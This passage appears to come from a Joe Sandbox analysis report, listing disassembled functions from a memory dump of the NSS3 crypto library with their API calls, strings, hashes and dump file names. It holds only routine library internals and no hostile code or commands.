Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
